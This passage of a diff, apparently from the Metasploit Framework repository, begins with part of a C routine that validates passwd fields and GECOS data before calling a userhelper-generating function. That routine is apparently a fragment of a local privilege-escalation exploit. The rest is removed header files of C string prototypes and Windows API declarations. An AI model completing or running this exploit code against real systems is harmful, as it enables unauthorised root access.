||||
unsigned int i;
|
||||
const char *field = line;
|
||||
|
||||
for (i = 0; i <= 5; i++) {
|
||||
const char *const field_end = strchr(field, ':');
|
||||
if (field_end == NULL) die();
|
||||
if (field_end >= rest) die();
|
||||
const size_t field_len = field_end - field;
|
||||
|
||||
switch (i) {
|
||||
case 0:
|
||||
if (field_len != strlen(my.username)) die();
|
||||
if (memcmp(field, my.username, field_len) != 0) die();
|
||||
break;
|
||||
case 1:
|
||||
if (*field != 'x') die();
|
||||
break;
|
||||
case 2:
|
||||
if (strtoimax(field, NULL, 10) != getuid()) die();
|
||||
break;
|
||||
case 3:
|
||||
if (strtoimax(field, NULL, 10) != getgid()) die();
|
||||
break;
|
||||
case 4:
|
||||
{
|
||||
char assembled[GECOS_LENGTH];
|
||||
xsnprintf(assembled, sizeof(assembled),
|
||||
"%.*s", (int)field_len, field);
|
||||
if (strlen(assembled) != field_len) die();
|
||||
|
||||
struct gecos_data gecos;
|
||||
memset(&gecos, 0, sizeof(gecos));
|
||||
xsnprintf(gecos.site_info, sizeof(gecos.site_info),
|
||||
"%s", my.gecos.site_info);
|
||||
if (strcmp(assembled, gecos_assemble(&gecos)) != 0) die();
|
||||
}
|
||||
|
||||
siteinfo_len = strlen(my.gecos.site_info);
|
||||
fullname_off = field - contents;
|
||||
|
||||
before_fullname_len = field - line;
|
||||
before_fullname = xstrndup(line, before_fullname_len);
|
||||
|
||||
after_fullname_len = rest - field;
|
||||
after_fullname = xstrndup(field, after_fullname_len);
|
||||
break;
|
||||
|
||||
case 5:
|
||||
if (*field != '/') die();
|
||||
break;
|
||||
default:
|
||||
die();
|
||||
}
|
||||
field = field_end + 1;
|
||||
}
|
||||
|
||||
const int err = generate_userhelper(a, n-1, contents);
|
||||
|
||||
free(before_fullname), before_fullname = NULL;
|
||||
free(after_fullname), after_fullname = NULL;
|
||||
free(contents);
|
||||
|
||||
return (err < 0) ? -1 : n;
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,27 +0,0 @@
|
||||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
void *memchr(const void*, int, size_t);
|
||||
int memcmp(const void*, const void*, size_t);
|
||||
void *memcpy(void*, const void*, size_t);
|
||||
void *memmove(void*, const void*, size_t);
|
||||
void *memset(void*, int, size_t);
|
||||
char *strcat(char*, const char*);
|
||||
char *strncat(char*, const char*, size_t);
|
||||
char *strchr(const char*, int);
|
||||
int strcmp(const char*, const char*);
|
||||
int strncmp(const char*, const char*, size_t);
|
||||
int strcoll(const char*, const char*);
|
||||
char *strcpy(char*, const char*);
|
||||
char *strncpy(char*, const char*, size_t);
|
||||
size_t strcspn(const char*, const char*);
|
||||
char *strerror(int);
|
||||
size_t strlen(const char*);
|
||||
char *strpbrk(const char*, const char*);
|
||||
char *strrchr(const char*, int);
|
||||
size_t strspn(const char*, const char*);
|
||||
char *strstr(const char*, const char*);
|
||||
char *strtok(char*, const char*);
|
||||
size_t strxfrm(char*, const char*, size_t);
|
||||
@@ -1,555 +0,0 @@
|
||||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
#define MAX_PATH 260
|
||||
#define MEM_COMMIT 0x00001000
|
||||
#define MEM_RESERVE 0x00002000
|
||||
#define MEM_RESET 0x00080000
|
||||
#define MEM_RESET_UNDO 0x1000000
|
||||
#define MEM_LARGE_PAGES 0x20000000
|
||||
#define MEM_PHYSICAL 0x00400000
|
||||
#define MEM_TOP_DOWN 0x00100000
|
||||
#define MEM_WRITE_WATCH 0x00200000
|
||||
#define PAGE_EXECUTE_READWRITE 0x00000040
|
||||
#define HEAP_GENERATE_EXCEPTIONS 0x00000004
|
||||
#define HEAP_NO_SERIALIZE 0x00000001
|
||||
#define HEAP_REALLOC_IN_PLACE_ONLY 0x00000010
|
||||
#define HEAP_ZERO_MEMORY 0x00000008
|
||||
#define STARTF_FORCEONFEEDBACK 0x00000040
|
||||
#define STARTF_FORCEOFFFEEDBACK 0x00000080
|
||||
#define STARTF_PREVENTPINNING 0x00002000
|
||||
#define STARTF_RUNFULLSCREEN 0x00000020
|
||||
#define STARTF_TITLEISAPPID 0x00001000
|
||||
#define STARTF_TITLEISLINKNAME 0x00000800
|
||||
#define STARTF_USECOUNTCHARS 0x00000008
|
||||
#define STARTF_USEFILLATTRIBUTE 0x00000010
|
||||
#define STARTF_USEHOTKEY 0x00000200
|
||||
#define STARTF_USEPOSITION 0x00000004
|
||||
#define STARTF_USESHOWWINDOW 0x00000001
|
||||
#define STARTF_USESIZE 0x00000002
|
||||
#define STARTF_USESTDHANDLES 0x00000100
|
||||
#define GW_CHILD 5
|
||||
#define GW_ENABLEDPOPUP 6
|
||||
#define GW_HWNDFIRST 0
|
||||
#define GW_HWNDLAST 1
|
||||
#define GW_HWNDNEXT 2
|
||||
#define GW_OWNER 4
|
||||
#define MB_ABORTRETRYIGNORE 0x00000002L
|
||||
#define MB_CANCELTRYCONTINUE 0x00000006L
|
||||
#define MB_HELP 0x00004000L
|
||||
#define MB_OK 0x00000000L
|
||||
#define MB_OKCANCEL 0x00000001L
|
||||
#define MB_RETRYCANCEL 0x00000005L
|
||||
#define MB_YESNO 0x00000004L
|
||||
#define MB_YESNOCANCEL 0x00000003L
|
||||
#define MB_ICONEXCLAMATION 0x00000030L
|
||||
#define MB_ICONWARNING 0x00000030L
|
||||
#define MB_ICONINFORMATION 0x00000040L
|
||||
#define MB_ICONASTERISK 0x00000040L
|
||||
#define MB_ICONQUESTION 0x00000020L
|
||||
#define MB_ICONSTOP 0x00000010L
|
||||
#define MB_ICONERROR 0x00000010L
|
||||
#define MB_ICONHAND 0x00000010L
|
||||
#define MB_DEFBUTTON1 0x00000000L
|
||||
#define MB_DEFBUTTON2 0x00000100L
|
||||
#define MB_DEFBUTTON3 0x00000200L
|
||||
#define MB_DEFBUTTON4 0x00000300L
|
||||
#define MB_APPLMODAL 0x00000000L
|
||||
#define MB_SYSTEMMODAL 0x00001000L
|
||||
#define MB_TASKMODAL 0x00002000L
|
||||
#define MB_DEFAULT_DESKTOP_ONLY 0x00020000L
|
||||
#define MB_RIGHT 0x00080000L
|
||||
#define MB_RTLREADING 0x00100000L
|
||||
#define MB_SETFOREGROUND 0x00010000L
|
||||
#define MB_TOPMOST 0x00040000L
|
||||
#define MB_SERVICE_NOTIFICATION 0x00200000L
|
||||
#define IDABORT 3
|
||||
#define IDCANCEL 2
|
||||
#define IDCONTINUE 11
|
||||
#define IDIGNORE 5
|
||||
#define IDNO 7
|
||||
#define IDOK 1
|
||||
#define IDRETRY 4
|
||||
#define IDTRYAGAIN 10
|
||||
#define IDYES 6
|
||||
#define HEAP_CREATE_ENABLE_EXECUTE 0x00040000
|
||||
#define SC_MANAGER_ALL_ACCESS 0xf003f
|
||||
#define SC_MANAGER_CONNECT 1
|
||||
#define SC_MANAGER_CREATE_SERVICE 2
|
||||
#define SC_MANAGER_ENUMERATE_SERVICE 4
|
||||
#define SC_MANAGER_LOCK 8
|
||||
#define SC_MANAGER_QUERY_LOCK_STATUS 16
|
||||
#define SC_MANAGER_MODIFY_BOOT_CONFIG 32
|
||||
#define SERVICE_NO_CHANGE (-1)
|
||||
#define SERVICE_STOPPED 1
|
||||
#define SERVICE_START_PENDING 2
|
||||
#define SERVICE_STOP_PENDING 3
|
||||
#define SERVICE_RUNNING 4
|
||||
#define SERVICE_CONTINUE_PENDING 5
|
||||
#define SERVICE_PAUSE_PENDING 6
|
||||
#define SERVICE_PAUSED 7
|
||||
#define SERVICE_ACCEPT_STOP 1
|
||||
#define SERVICE_ACCEPT_PAUSE_CONTINUE 2
|
||||
#define SERVICE_ACCEPT_SHUTDOWN 4
|
||||
#define SERVICE_CONTROL_STOP 1
|
||||
#define SERVICE_CONTROL_PAUSE 2
|
||||
#define SERVICE_CONTROL_CONTINUE 3
|
||||
#define SERVICE_CONTROL_INTERROGATE 4
|
||||
#define SERVICE_CONTROL_SHUTDOWN 5
|
||||
#define SERVICE_ACTIVE 1
|
||||
#define SERVICE_INACTIVE 2
|
||||
#define SERVICE_STATE_ALL 3
|
||||
#define SERVICE_QUERY_CONFIG 1
|
||||
#define SERVICE_CHANGE_CONFIG 2
|
||||
#define SERVICE_QUERY_STATUS 4
|
||||
#define SERVICE_ENUMERATE_DEPENDENTS 8
|
||||
#define SERVICE_START 16
|
||||
#define SERVICE_STOP 32
|
||||
#define SERVICE_PAUSE_CONTINUE 64
|
||||
#define SERVICE_INTERROGATE 128
|
||||
#define SERVICE_USER_DEFINED_CONTROL 256
|
||||
#define SERVICE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SERVICE_QUERY_CONFIG|SERVICE_CHANGE_CONFIG|SERVICE_QUERY_STATUS|SERVICE_ENUMERATE_DEPENDENTS|SERVICE_START|SERVICE_STOP|SERVICE_PAUSE_CONTINUE|SERVICE_INTERROGATE|SERVICE_USER_DEFINED_CONTROL)
|
||||
#define GHND 0x0042
|
||||
#define GMEM_FIXED 0x0000
|
||||
#define GMEM_MOVEABLE 0x0002
|
||||
#define GMEM_ZEROINIT 0x0040
|
||||
#define GPTR 0x0040
|
||||
#define WH_CALLWNDPROC 4
|
||||
#define WH_CALLWNDPROCRET 12
|
||||
#define WH_CBT 5
|
||||
#define WH_DEBUG 9
|
||||
#define WH_FOREGROUNDIDLE 11
|
||||
#define WH_GETMESSAGE 3
|
||||
#define WH_JOURNALPLAYBACK 1
|
||||
#define WH_JOURNALRECORD 0
|
||||
#define WH_KEYBOARD 2
|
||||
#define WH_KEYBOARD_LL 13
|
||||
#define WH_MOUSE 7
|
||||
#define WH_MOUSE_LL 14
|
||||
#define WH_MSGFILTER -1
|
||||
#define WH_SHELL 10
|
||||
#define WH_SYSMSGFILTER 6
|
||||
#define GENERIC_READ 0x80000000
|
||||
#define GENERIC_WRITE 0x40000000
|
||||
#define GENERIC_EXECUTE 0x20000000
|
||||
#define GENERIC_ALL 0x10000000
|
||||
#define FILE_SHARE_READ 0x00000001
|
||||
#define FILE_SHARE_WRITE 0x00000002
|
||||
#define FILE_SHARE_DELETE 0x00000004
|
||||
#define CREATE_NEW 1
|
||||
#define CREATE_ALWAYS 2
|
||||
#define OPEN_EXISTING 3
|
||||
#define OPEN_ALWAYS 4
|
||||
#define TRUNCATE_EXISTING 5
|
||||
#define FILE_ATTRIBUTE_READONLY 0x00000001
|
||||
#define FILE_ATTRIBUTE_NORMAL 0x00000080
|
||||
#define FILE_ATTRIBUTE_TEMPORARY 0x00000100
|
||||
#define FILE_FLAG_WRITE_THROUGH 0x80000000
|
||||
#define FILE_FLAG_NO_BUFFERING 0x20000000
|
||||
#define FILE_FLAG_RANDOM_ACCESS 0x10000000
|
||||
#define FILE_FLAG_SEQUENTIAL_SCAN 0x08000000
|
||||
#define FILE_FLAG_DELETE_ON_CLOSE 0x04000000
|
||||
#define FILE_FLAG_OVERLAPPED 0x40000000
|
||||
#define FILE_ATTRIBUTE_HIDDEN 0x00000002
|
||||
#define FILE_ATTRIBUTE_SYSTEM 0x00000004
|
||||
#define FILE_ATTRIBUTE_DIRECTORY 0x00000010
|
||||
#define FILE_ATTRIBUTE_ARCHIVE 0x00000020
|
||||
#define FILE_ATTRIBUTE_DEVICE 0x00000040
|
||||
#define ERROR_FILE_NOT_FOUND 2L
|
||||
#define ERROR_NO_MORE_FILES 18L
|
||||
#define INVALID_HANDLE_VALUE ((HANDLE) -1)
|
||||
#define INVALID_FILE_SIZE ((DWORD)0xFFFFFFFF)
|
||||
#define FILE_NAME_NORMALIZED 0x0
|
||||
#define FILE_NAME_OPENED 0x8
|
||||
#define VOLUME_NAME_DOS 0x0
|
||||
#define VOLUME_NAME_GUID 0x1
|
||||
#define VOLUME_NAME_NONE 0x4
|
||||
#define VOLUME_NAME_NT 0x2
|
||||
#define SERVICE_FILE_SYSTEM_DRIVER 0x00000002
|
||||
#define SERVICE_KERNEL_DRIVER 0x00000001
|
||||
#define SERVICE_WIN32_OWN_PROCESS 0x00000010
|
||||
#define SERVICE_WIN32_SHARE_PROCESS 0x00000020
|
||||
#define SERVICE_USER_OWN_PROCESS 0x00000050
|
||||
#define SERVICE_USER_SHARE_PROCESS 0x00000060
|
||||
#define SERVICE_INTERACTIVE_PROCESS 0x00000100
|
||||
#define SERVICE_CONTINUE_PENDING 0x00000005
|
||||
#define SERVICE_PAUSE_PENDING 0x00000006
|
||||
#define SERVICE_PAUSED 0x00000007
|
||||
#define SERVICE_RUNNING 0x00000004
|
||||
#define SERVICE_START_PENDING 0x00000002
|
||||
#define SERVICE_STOP_PENDING 0x00000003
|
||||
#define SERVICE_STOPPED 0x00000001
|
||||
#define SERVICE_AUTO_START 0x00000002
|
||||
#define SERVICE_BOOT_START 0x00000000
|
||||
#define SERVICE_DEMAND_START 0x00000003
|
||||
#define SERVICE_DISABLED 0x00000004
|
||||
#define SERVICE_SYSTEM_START 0x00000001
|
||||
#define SERVICE_ERROR_CRITICAL 0x00000003
|
||||
#define SERVICE_ERROR_IGNORE 0x00000000
|
||||
#define SERVICE_ERROR_NORMAL 0x00000001
|
||||
#define SERVICE_ERROR_SEVERE 0x00000002
|
||||
#define SERVICE_DRIVER 0x0000000B
|
||||
#define SERVICE_FILE_SYSTEM_DRIVER 0x00000002
|
||||
#define SERVICE_KERNEL_DRIVER 0x00000001
|
||||
#define SERVICE_WIN32 0x00000030
|
||||
#define SERVICE_WIN32_OWN_PROCESS 0x00000010
|
||||
#define SERVICE_WIN32_SHARE_PROCESS 0x00000020
|
||||
#define MAKEWORD(a,b) ((WORD)(((BYTE)(a))|(((WORD)((BYTE)(b)))<<8)))
|
||||
#define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length))
|
||||
#define ZeroMemory RtlZeroMemory
|
||||
|
||||
typedef struct _SECURITY_ATTRIBUTES {
|
||||
DWORD nLength;
|
||||
LPVOID lpSecurityDescriptor;
|
||||
BOOL bInheritHandle;
|
||||
} SECURITY_ATTRIBUTES , *LPSECURITY_ATTRIBUTES;
|
||||
|
||||
typedef struct _LPTHREAD_START_ROUTINE {
|
||||
LPVOID lpThreadParameter;
|
||||
} LPTHREAD_START_ROUTINE, *LPTHREAD_START_ROUTINE;
|
||||
|
||||
typedef struct _STARTUPINFO {
|
||||
DWORD cb;
|
||||
LPTSTR lpReserved;
|
||||
LPTSTR lpDesktop;
|
||||
LPTSTR lpTitle;
|
||||
DWORD dwX;
|
||||
DWORD dwY;
|
||||
DWORD dwXSize;
|
||||
DWORD dwYSize;
|
||||
DWORD dwXCountChars;
|
||||
DWORD dwYCountChars;
|
||||
DWORD dwFillAttribute;
|
||||
DWORD dwFlags;
|
||||
WORD wShowWindow;
|
||||
WORD cbReserved2;
|
||||
LPBYTE lpReserved2;
|
||||
HANDLE hStdInput;
|
||||
HANDLE hStdOutput;
|
||||
HANDLE hStdError;
|
||||
} STARTUPINFO, *LPSTARTUPINFO;
|
||||
|
||||
typedef struct _PROCESS_INFORMATION {
|
||||
HANDLE hProcess;
|
||||
HANDLE hThread;
|
||||
DWORD dwProcessId;
|
||||
DWORD dwThreadId;
|
||||
} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;
|
||||
|
||||
typedef struct _OVERLAPPED {
|
||||
ULONG_PTR Internal;
|
||||
ULONG_PTR InternalHigh;
|
||||
union {
|
||||
struct {
|
||||
DWORD Offset;
|
||||
DWORD OffsetHigh;
|
||||
};
|
||||
PVOID Pointer;
|
||||
};
|
||||
HANDLE hEvent;
|
||||
} OVERLAPPED, *LPOVERLAPPED;
|
||||
|
||||
typedef DWORD SERVICE_STATUS_HANDLE;
|
||||
typedef VOID(WINAPI *LPHANDLER_FUNCTION)(DWORD);
|
||||
|
||||
typedef void (WINAPI *LPSERVICE_MAIN_FUNCTION)(DWORD,LPSTR*);
|
||||
|
||||
typedef struct _SERVICE_TABLE_ENTRY {
|
||||
LPSTR lpServiceName;
|
||||
LPSERVICE_MAIN_FUNCTION lpServiceProc;
|
||||
} SERVICE_TABLE_ENTRY,*LPSERVICE_TABLE_ENTRY;
|
||||
|
||||
typedef SERVICE_TABLE_ENTRY SERVICE_TABLE_ENTRY,*LPSERVICE_TABLE_ENTRY;
|
||||
|
||||
typedef enum _SC_ENUM_TYPE {
|
||||
SC_ENUM_PROCESS_INFO = 0
|
||||
} SC_ENUM_TYPE;
|
||||
|
||||
typedef enum _HEAP_INFORMATION_CLASS {
|
||||
HeapCompatibilityInformation = 0,
|
||||
HeapEnableTerminationOnCorruption = 1
|
||||
} HEAP_INFORMATION_CLASS;
|
||||
|
||||
typedef struct _FILETIME {
|
||||
DWORD dwLowDateTime;
|
||||
DWORD dwHighDateTime;
|
||||
} FILETIME, *PFILETIME;
|
||||
|
||||
typedef struct _WIN32_FIND_DATA {
|
||||
DWORD dwFileAttributes;
|
||||
FILETIME ftCreationTime;
|
||||
FILETIME ftLastAccessTime;
|
||||
FILETIME ftLastWriteTime;
|
||||
DWORD nFileSizeHigh;
|
||||
DWORD nFileSizeLow;
|
||||
DWORD dwReserved0;
|
||||
DWORD dwReserved1;
|
||||
TCHAR cFileName[MAX_PATH];
|
||||
TCHAR cAlternateFileName[14];
|
||||
} WIN32_FIND_DATA, *PWIN32_FIND_DATA, *LPWIN32_FIND_DATA;
|
||||
|
||||
typedef struct tagPOINT {
|
||||
LONG x;
|
||||
LONG y;
|
||||
} POINT, *PPOINT;
|
||||
|
||||
typedef struct tagMSG {
|
||||
HWND hwnd;
|
||||
UINT message;
|
||||
WPARAM wParam;
|
||||
LPARAM lParam;
|
||||
DWORD time;
|
||||
POINT pt;
|
||||
} MSG, *PMSG, *LPMSG;
|
||||
|
||||
typedef struct _BY_HANDLE_FILE_INFORMATION {
|
||||
DWORD dwFileAttributes;
|
||||
FILETIME ftCreationTime;
|
||||
FILETIME ftLastAccessTime;
|
||||
FILETIME ftLastWriteTime;
|
||||
DWORD dwVolumeSerialNumber;
|
||||
DWORD nFileSizeHigh;
|
||||
DWORD nFileSizeLow;
|
||||
DWORD nNumberOfLinks;
|
||||
DWORD nFileIndexHigh;
|
||||
DWORD nFileIndexLow;
|
||||
} BY_HANDLE_FILE_INFORMATION, *PBY_HANDLE_FILE_INFORMATION, *LPBY_HANDLE_FILE_INFORMATION;
|
||||
|
||||
typedef struct _SERVICE_STATUS {
|
||||
DWORD dwServiceType;
|
||||
DWORD dwCurrentState;
|
||||
DWORD dwControlsAccepted;
|
||||
DWORD dwWin32ExitCode;
|
||||
DWORD dwServiceSpecificExitCode;
|
||||
DWORD dwCheckPoint;
|
||||
DWORD dwWaitHint;
|
||||
} SERVICE_STATUS, *LPSERVICE_STATUS;
|
||||
|
||||
typedef struct _ENUM_SERVICE_STATUS {
|
||||
LPTSTR lpServiceName;
|
||||
LPTSTR lpDisplayName;
|
||||
SERVICE_STATUS ServiceStatus;
|
||||
} ENUM_SERVICE_STATUS, *LPENUM_SERVICE_STATUS;
|
||||
|
||||
typedef struct _GUID {
|
||||
DWORD Data1;
|
||||
WORD Data2;
|
||||
WORD Data3;
|
||||
BYTE Data4[8];
|
||||
} GUID;
|
||||
|
||||
typedef VOID (CALLBACK *LPOVERLAPPED_COMPLETION_ROUTINE)(DWORD,DWORD,LPOVERLAPPED);
|
||||
|
||||
typedef enum _PROCESSINFOCLASS {
|
||||
ProcessBasicInformation = 0,
|
||||
ProcessQuotaLimits = 1,
|
||||
ProcessIoCounters = 2,
|
||||
ProcessVmCounters = 3,
|
||||
ProcessTimes = 4,
|
||||
ProcessBasePriority = 5,
|
||||
ProcessRaisePriority = 6,
|
||||
ProcessDebugPort = 7,
|
||||
ProcessExceptionPort = 8,
|
||||
ProcessAccessToken = 9,
|
||||
ProcessLdtInformation = 10,
|
||||
ProcessLdtSize = 11,
|
||||
ProcessDefaultHardErrorMode = 12,
|
||||
ProcessIoPortHandlers = 13,
|
||||
ProcessPooledUsageAndLimits = 14,
|
||||
ProcessWorkingSetWatch = 15,
|
||||
ProcessUserModeIOPL = 16,
|
||||
ProcessEnableAlignmentFaultFixup = 17,
|
||||
ProcessPriorityClass = 18,
|
||||
ProcessWx86Information = 19,
|
||||
ProcessHandleCount = 20,
|
||||
ProcessAffinityMask = 21,
|
||||
ProcessPriorityBoost = 22,
|
||||
ProcessDeviceMap = 23,
|
||||
ProcessSessionInformation = 24,
|
||||
ProcessForegroundInformation = 25,
|
||||
ProcessWow64Information = 26,
|
||||
ProcessImageFileName = 27,
|
||||
ProcessLUIDDeviceMapsEnabled = 28,
|
||||
ProcessBreakOnTermination = 29,
|
||||
ProcessDebugObjectHandle = 30,
|
||||
ProcessDebugFlags = 31,
|
||||
ProcessHandleTracing = 32,
|
||||
ProcessIoPriority = 33,
|
||||
ProcessExecuteFlags = 34,
|
||||
ProcessTlsInformation = 35,
|
||||
ProcessCookie = 36,
|
||||
ProcessImageInformation = 37,
|
||||
ProcessCycleTime = 38,
|
||||
ProcessPagePriority = 39,
|
||||
ProcessInstrumentationCallback = 40,
|
||||
ProcessThreadStackAllocation = 41,
|
||||
ProcessWorkingSetWatchEx = 42,
|
||||
ProcessImageFileNameWin32 = 43,
|
||||
ProcessImageFileMapping = 44,
|
||||
ProcessAffinityUpdateMode = 45,
|
||||
ProcessMemoryAllocationMode = 46,
|
||||
ProcessGroupInformation = 47,
|
||||
ProcessTokenVirtualizationEnabled = 48,
|
||||
ProcessOwnerInformation = 49,
|
||||
ProcessWindowInformation = 50,
|
||||
ProcessHandleInformation = 51,
|
||||
ProcessMitigationPolicy = 52,
|
||||
ProcessDynamicFunctionTableInformation = 53,
|
||||
ProcessHandleCheckingMode = 54,
|
||||
ProcessKeepAliveCount = 55,
|
||||
ProcessRevokeFileHandles = 56,
|
||||
ProcessWorkingSetControl = 57,
|
||||
ProcessHandleTable = 58,
|
||||
ProcessCheckStackExtentsMode = 59,
|
||||
ProcessCommandLineInformation = 60,
|
||||
ProcessProtectionInformation = 61,
|
||||
ProcessMemoryExhaustion = 62,
|
||||
ProcessFaultInformation = 63,
|
||||
ProcessTelemetryIdInformation = 64,
|
||||
ProcessCommitReleaseInformation = 65,
|
||||
ProcessReserved1Information = 66,
|
||||
ProcessReserved2Information = 67,
|
||||
ProcessSubsystemProcess = 68,
|
||||
ProcessInPrivate = 70,
|
||||
ProcessRaiseUMExceptionOnInvalidHandleClose = 71,
|
||||
MaxProcessInfoClass
|
||||
} PROCESSINFOCLASS;
|
||||
|
||||
typedef enum _FINDEX_INFO_LEVELS {
|
||||
FindExInfoStandard,
|
||||
FindExInfoBasic,
|
||||
FindExInfoMaxInfoLevel
|
||||
} FINDEX_INFO_LEVELS;
|
||||
|
||||
typedef enum _FINDEX_SEARCH_OPS {
|
||||
FindExSearchNameMatch,
|
||||
FindExSearchLimitToDirectories,
|
||||
FindExSearchLimitToDevices
|
||||
} FINDEX_SEARCH_OPS;
|
||||
|
||||
WINAPI void OutputDebugString __attribute__((dllimport))(LPCTSTR);
|
||||
WINAPI HGLOBAL GlobalAlloc __attribute__((dllimport))(UINT, size_t);
|
||||
WINAPI LPVOID GlobalLock __attribute__((dllimport))(HGLOBAL);
|
||||
WINAPI BOOL GlobalUnlock __attribute__((dllimport))(HGLOBAL);
|
||||
WINAPI HGLOBAL GlobalReAlloc __attribute__((dllimport))(HGLOBAL, size_t, UINT);
|
||||
WINAPI HGLOBAL GlobalFree __attribute__((dllimport))(HGLOBAL);
|
||||
WINAPI DWORD GetLastError __attribute__((dllimport))(void);
|
||||
WINAPI LPVOID VirtualAlloc __attribute__((dllimport))(LPVOID, size_t, DWORD, DWORD);
|
||||
WINAPI LPVOID VirtualAllocEx __attribute__((dllimport))(HANDLE, LPVOID, size_t, DWORD, DWORD);
|
||||
WINAPI BOOL VirtualProtect __attribute__((dllimport))(LPVOID, size_t, DWORD, PDWORD);
|
||||
WINAPI BOOL VirtualProtectEx __attribute__((dllimport))(HANDLE, LPVOID, size_t, DWORD, PDWORD);
|
||||
WINAPI HANDLE GetProcessHeap __attribute__((dllimport))(void);
|
||||
WINAPI DWORD GetProcessHeaps __attribute__((dllimport))(DWORD, PHANDLE);
|
||||
WINAPI HANDLE HeapCreate __attribute__((dllimport))(DWORD, size_t, size_t);
|
||||
WINAPI LPVOID HeapAlloc __attribute__((dllimport))(HANDLE, DWORD, size_t);
|
||||
WINAPI size_t HeapSize __attribute__((dllimport))(HANDLE, DWORD, LPCVOID);
|
||||
WINAPI LPVOID HeapreAlloc __attribute__((dllimport))(HANDLE, DWORD, LPVOID, size_t);
|
||||
WINAPI BOOL HeapFree __attribute__((dllimport))(HANDLE, DWORD, LPVOID);
|
||||
WINAPI BOOL HeapQueryInformation __attribute__((dllimport))(HANDLE, HEAP_INFORMATION_CLASS, PVOID, size_t, PSIZE_T);
|
||||
WINAPI BOOL HeapSetInformation __attribute__((dllimport))(HANDLE, HEAP_INFORMATION_CLASS, PVOID, size_t);
|
||||
WINAPI BOOL VirtualFreeEx __attribute__((dllimport))(HANDLE, LPVOID, size_t, DWORD);
|
||||
WINAPI void MoveMemory __attribute__((dllimport))(PVOID, void*, size_t);
|
||||
WINAPI BOOL WriteProcessMemory __attribute__((dllimport))(HANDLE, LPVOID, LPCVOID, size_t, size_t*);
|
||||
WINAPI BOOL ReadProcessMemory __attribute__((dllimport))(HANDLE, LPCVOID, LPVOID, size_t, size_t*);
|
||||
WINAPI HANDLE CreateThread __attribute__((dllimport))(LPSECURITY_ATTRIBUTES, size_t, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
WINAPI HANDLE CreateRemoteThread __attribute__((dllimport))(HANDLE, LPSECURITY_ATTRIBUTES, size_t, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
WINAPI DWORD GetProcessId __attribute__((dllimport))(HANDLE);
|
||||
WINAPI BOOL CreateProcess __attribute__((dllimport))(LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
|
||||
WINAPI BOOL CreateProcessAsUser __attribute__((dllimport))(HANDLE, LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
|
||||
WINAPI HANDLE OpenProcess __attribute__((dllimport))(DWORD, BOOL, DWORD);
|
||||
WINAPI void ExitProcess __attribute__((dllimport))(UINT);
|
||||
WINAPI BOOL TerminateProcess __attribute__((dllimport))(UINT);
|
||||
WINAPI DWORD GetTickCount __attribute__((dllimport))(void);
|
||||
WINAPI void Sleep __attribute__((dllimport))(DWORD);
|
||||
WINAPI UINT WinExec __attribute__((dllimport))(LPCSTR, UINT);
|
||||
WINAPI DWORD WaitForSingleObject __attribute__((dllimport))(HANDLE, DWORD);
|
||||
WINAPI FARPROC GetProcAddress __attribute__((dllimport))(HMODULE, LPCSTR);
|
||||
WINAPI HMODULE LoadLibrary __attribute__((dllimport))(LPCTSTR);
|
||||
WINAPI HMODULE GetModuleHandle __attribute__((dllimport))(LPCTSTR);
|
||||
WINAPI HANDLE CreateFile __attribute__((dllimport))(LPCTSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
|
||||
WINAPI BOOL GetFileInformationByHandle __attribute__((dllimport))(HANDLE, LPBY_HANDLE_FILE_INFORMATION);
|
||||
WINAPI DWORD GetFullPathName __attribute__((dllimport))(LPCTSTR, DWORD, LPTSTR, LPTSTR*);
|
||||
WINAPI DWORD GetFileType __attribute__((dllimport))(HANDLE);
|
||||
WINAPI BOOL MoveFile __attribute__((dllimport))(LPCTSTR, LPCTSTR);
|
||||
WINAPI BOOL DeleteFile __attribute__((dllimport))(LPCTSTR);
|
||||
WINAPI BOOL CopyFile __attribute__((dllimport))(LPCTSTR, LPCTSTR, BOOL);
|
||||
WINAPI BOOL WriteFile __attribute__((dllimport))(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||
WINAPI BOOL ReadFile __attribute__((dllimport))(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||
WINAPI BOOL ReadFileEx __attribute__((dllimport))(HANDLE, LPVOID, LPOVERLAPPED, LPOVERLAPPED_COMPLETION_ROUTINE);
|
||||
WINAPI DWORD GetFileSize __attribute__((dllimport))(HANDLE, LPDWORD);
|
||||
WINAPI DWORD GetTempPath __attribute__((dllimport))(DWORD, LPTSTR);
|
||||
WINAPI UINT GetTempFileName __attribute__((dllimport))(LPCTSTR, LPCTSTR, UINT, LPTSTR);
|
||||
WINAPI DWORD GetShortPathName __attribute__((dllimport))(LPCTSTR, LPTSTR, DWORD);
|
||||
WINAPI DWORD GetLongPathName __attribute__((dllimport))(LPCTSTR, LPTSTR, DWORD);
|
||||
WINAPI INT GetExpandedName __attribute__((dllimport))(LPTSTR, LPTSTR);
|
||||
WINAPI DWORD GetFinalPathNameByHandle __attribute__((dllimport))(HANDLE, LPTSTR, DWORD, DWORD);
|
||||
WINAPI BOOL LockFile __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, DWORD);
|
||||
WINAPI BOOL UnlockFile __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, DWORD);
|
||||
WINAPI BOOL UnlockFileEx __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, LPOVERLAPPED);
|
||||
WINAPI BOOL FreeLibrary __attribute__((dllimport))(HMODULE);
|
||||
WINAPI DWORD GetModuleFileName __attribute__((dllimport))(HMODULE, LPTSTR, DWORD);
|
||||
